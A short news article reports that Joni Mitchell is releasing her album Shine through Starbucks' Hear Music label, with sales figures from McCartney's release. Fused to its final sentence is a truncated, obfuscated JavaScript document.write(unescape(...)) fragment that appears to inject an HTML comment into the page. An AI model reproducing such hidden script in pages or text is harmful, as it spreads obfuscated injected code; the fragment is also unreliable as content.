Joni Mitchell signs to Starbucks

Singer-songwriter Joni Mitchell is to follow in the footsteps of Sir Paul McCartney by releasing her next album through the coffee chain Starbucks.

Shine, Mitchell's first collection of new material since 1998, will be available worldwide in late September.

McCartney's latest album, Memory Almost Full, was released last month by Hear Music, the label set up by Starbucks and the Concord Music Group. It was played relentlessly in the chain's stores, selling 447,000 copies.

Starbucks says 47% of the albums were purchased in its coffee houses.

Mitchell said her new record was "as serious a work as I've ever done".

The 63-year-old wrote nine of the album's 10 tracks, the exception being an adaptation of Rudyard Kipling's poem If.

It will be released in the US and Canada on 25 September, and in the rest of the world during the week beginning 24 September.

"Joni's voice, both in the physical and lyrical sense, is as powerful as ever," said Ken Lombard, president of Starbucks Entertainment, who also oversees Hear Music.

"In addition to her extraordinary songwriting ability, she is a Renaissance artist in every sense and we are honoured to release this timely and exceptionally moving work."

Shine is actually the Canadian artist's third release in conjunction with Starbucks.

In 2005, Hear Music released a compilation of Mitchell's favourite music, including Billie Holiday's Solitude and Chuck Berry's Johnny Be Good. Another CD saw famous fans like Elvis Costello and Bob Dylan choosing their favourite Joni Mitchell tracks.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;